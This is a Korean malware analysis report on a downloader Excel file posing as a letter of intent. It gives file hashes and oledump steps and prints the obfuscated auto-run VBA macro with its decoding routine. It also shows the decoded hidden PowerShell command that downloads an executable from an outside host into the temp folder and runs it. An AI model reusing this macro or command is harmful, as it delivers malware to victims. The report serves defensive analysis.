1. 개요
1.1 분석 수행 인원
•
이수영
1.2 파일 정보
File Name | LetterofIntent-Eckharthelicopter.xls |
Size | 631.3 KB |
Type | excel |
Behavior | Downloader |
MD5 | 6cb7256dde8c6cf09fc82b7f75fd18ad |
SHA256 | 2cb072d9fcc9413a91b245513366c7bb52bfec2638f67c158520c2854e264208 |
ssdeep | 12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S |
AntiVirus | 41 / 61 (67%) |
1.3 Time table
2. 악성코드 상세 분석
2.1 LetterofIntent-Eckharthelicopter.xls 분석
(1) Excel 파일 내에 의심스러운 스트림 찾기
oledump.py를 통해 엑셀 파일의 스트림을 분석하면 stream 8에 매크로가 포함되어 있음을 확인할 수 있다.
oledump.py -s 8 -v LetterofIntent-Eckharthelicopter.xls
Bash
복사
스트림 8을 확인해보면 위와 같이 의심스러운 VBA 스크립트가 있음을 확인할 수 있다. 해당 스크립트에는 Workbook_Open() 함수가 있는 것으로 볼 때 워크북을 열어봄과 동시에 매크로가 실행되도록 구성되어 있다.
(2) 매크로 분석
Public Sub Workbook_Open()
Dim asd As String
Shell hello("808A813D4C803D8D8C94828F90858289894B8295823D4A829582809291868C8B8D8C898680963D7F968D7E90903D4A743D65868181828B3D4A808C8A8A7E8B813D458B82944A8C7F878280913D70969091828A4B6B82914B74827F608986828B91464B618C948B898C7E816386898245448591918D574C4C858C818F804B8C8F844C8C914C908C8992914B829582444941828B935771828A8D484479908C899291824B829582444658456B82944A6C7F878280913D4A808C8A3D70858289894B5E8D8D8986807E91868C8B464B7085828989629582809291824541828B935771828A8D484479908C899291824B8295824446")
End Sub
Function hello(hlole As String)
Dim holle As Integer
Dim i As Integer
Dim holel
holle = 11111
holel = ""
For i = 1 To Len(hlole) Step 2
holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 29)
Next
hello = holel
End Function
Visual Basic
복사
매크로의 핵심 부분은 위와 같이 추출할 수 있다. 우선 엑셀 파일을 열면 Workbook_Open() 함수가 호출되면서 내부에 있는 Shell() 함수가 실행된다. 그러나 Shell 함수를 통해 실행되는 명령은 난독화가 되어있어 알 수 없다. hello() 함수를 통해 특정 문자열 난독화 해제를 진행하고 실행되는 구조를 띄고 있다. 이런 방식으로 난독화 된 문자열과 자체적인 복호화 알고리즘이 포함되어 있는 경우에는 동적으로 스크립트를 분석하면 쉽게 해제할 수 있다.
Function hello(hlole)
Dim holle
Dim i
Dim holel
holle = 11111
holel = ""
For i = 1 To Len(hlole) Step 2
holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 29)
Next
hello = holel
End Function
Set stdout = CreateObject("Scripting.FileSystemObject").GetStandardStream(1)
Dim asd
stdout.WriteLine hello("808A813D4C803D8D8C94828F90858289894B8295823D4A829582809291868C8B8D8C898680963D7F968D7E90903D4A743D65868181828B3D4A808C8A8A7E8B813D458B82944A8C7F878280913D70969091828A4B6B82914B74827F608986828B91464B618C948B898C7E816386898245448591918D574C4C858C818F804B8C8F844C8C914C908C8992914B829582444941828B935771828A8D484479908C899291824B829582444658456B82944A6C7F878280913D4A808C8A3D70858289894B5E8D8D8986807E91868C8B464B7085828989629582809291824541828B935771828A8D484479908C899291824B8295824446")
Visual Basic
복사
Windows 운영체제에서는 기본적으로 VBScript를 지원하고 있다( MS사에서 2023/10월 부로 윈도우에서 VBScript 제거 예성 선언). 따라서 cmd에서 hello()함수를 실행한 직후 나오는 명령어를 출력시켜보면 쉽게 알 수 있다. cmd에서 명령을 실행하기 위해서 스크립트를 수정하면 위와 같이 수정해야 한다.
cscript.exe s8.vbs
Microsoft (R) Windows Script Host 버전 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')
Shell
복사
cmd에서 cscript.exe를 이용해서 VBScript 코드를 실행하면 위와 같이 실제 Shell() 함수가 실행하려는 명령어를 볼 수 있다. 명령어는 powershell을 이용해서 http[:]hodrc[.]org/ot/solut.exe를 %TEMP% 경로에 solute.exe로 저장하고 실행하도록 구성되있다.
2.2 solute.exe 분석
현재 악성코드 샘플이 없음. 샘플을 찾는 대로 분석 진행 예정(미정)